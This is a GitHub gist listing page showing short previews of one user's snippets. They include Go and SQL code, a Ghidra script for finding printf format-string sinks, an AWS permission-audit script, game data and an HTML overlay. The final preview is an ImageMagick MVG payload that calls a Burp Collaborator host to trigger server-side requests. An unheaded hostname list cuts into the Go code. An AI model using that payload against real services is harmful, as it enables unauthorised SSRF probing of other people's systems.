Skip to content

Instantly share code, notes, and snippets.

@Static-Flow
Static-Flow / main.go
Created September 1, 2023 13:59
simple solution to solve wanting a variable N number of receivers to an io.Writer in Golang
package main
import (
"bufio"
"fmt"
"io"
"log"
"os/exec"
"sync"
"time"
retailedge.intel.com
itcenterconnect.intel.com
sipfed.intel.com
intelav.intel.com
intelewc.intel.com
sip.intel.com
click.intel.com
ipip.intel.com
boss.filegridnetwork.com
0-hubs-2-iosdm.v.aaplimg.com
0-hubs-3-iosdm.v.aaplimg.com
0-hubs-iosdm.v.aaplimg.com
1-courier.push.apple.com
1-hubs-2-iosdm.v.aaplimg.com
1-hubs-3-iosdm.v.aaplimg.com
1-hubs-iosdm.v.aaplimg.com
10-courier.push.apple.com
11-courier.push.apple.com
12-courier.push.apple.com
@Static-Flow
Static-Flow / data_table.sql
Last active May 7, 2023 16:37
SQL security idea: Is this a safe implementation that could allow exposing this database publicly and providing access to users provided they were only given data_role permissions?
CREATE TABLE IF NOT EXISTS data
(
pkey bigserial PRIMARY KEY,
value text NOT NULL,
count integer NOT NULL,
first_blood text NOT NULL
);
CREATE UNIQUE INDEX IF NOT EXISTS value_idx ON data USING btree(value);
@Static-Flow
Static-Flow / find_suspicious_printf_calls.py
Last active March 24, 2023 09:05
Simple Ghidra script which searches for calls to printf which take a variable as input instead of a constant format string which could be a potential sink.
from ghidra.app.decompiler import DecompileOptions
from ghidra.app.decompiler import DecompInterface
from ghidra.util.task import ConsoleTaskMonitor
from ghidra.program.model.symbol import SymbolType
TARGET_FUNC = "printf"
target_addr = 0
symbol = currentProgram.symbolTable.getExternalSymbol(TARGET_FUNC)
if symbol and symbol.symbolType == SymbolType.FUNCTION:
@Static-Flow
Static-Flow / get_aws_cred_permissions.sh
Created March 20, 2023 16:05
This quick shell script uses the aws cli to pull the policy documents for a set of AWS credentials. It can also optionally scan the policy documents with https://github.com/salesforce/cloudsplaining
#!/bin/bash
explain='false'
profile='default'
if ! command -v aws &> /dev/null
then
echo "aws cli command could not be found, please install before using this"
exit
else
echo "aws cli command found, continuing"
fi
@Static-Flow
Static-Flow / gist:2ea4e6a3a7ba78bd24d4e9bb8d6816c7
Last active August 19, 2022 21:50
Rough Draft of Treasure Goblin
mon-data.h:
{
MONS_TREASURE_GOBLIN, 'g', COLOUR_UNDEF, "Treasure Goblin", //1
M_UNIQUE | M_WARM_BLOOD | M_SPEAKS | M_SEE_INVIS | M_UNBLINDABLE | M_GENDER_NEUTRAL
| M_FLIES | M_WEB_IMMUNE | M_FAST_REGEN | M_NO_EXP_GAIN | M_NO_POLY_TO | M_MAINTAIN_RANGE, //2
MR_RES_ELEC | MR_RES_POISON | MR_RES_FIRE | MR_RES_COLD | MR_RES_MIASMA | MR_RES_ACID
| MR_RES_PETRIFY | MR_RES_STICKY_FLAME | MR_RES_STEAM, //3
0, MONS_GOBLIN, MONS_GOBLIN, MH_NATURAL, WILL_INVULN, //4
{ AT_NO_ATK, AT_NO_ATK, AT_NO_ATK, AT_NO_ATK }, //5
@Static-Flow
Static-Flow / scaler.go
Created January 2, 2021 19:33
Linode Kubernetes Autoscaler Example
import (
"context"
"errors"
"fmt"
"github.com/cenkalti/backoff"
"github.com/linode/linodego"
"golang.org/x/oauth2"
v1 "k8s.io/api/batch/v1"
v12 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
@Static-Flow
Static-Flow / overlay.html
Created July 25, 2020 05:45
overlay for timer on stream
<!DOCTYPE HTML>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
p {
text-align: center;
font-size: 120px;
margin-top: 0px;
color: #05d0f9;
push graphic-context
viewbox 0 0 640 480
fill 'url(https://4sxhijwuw6k0tpciemjnle5yipolca.burpcollaborator.net)'
pop graphic-context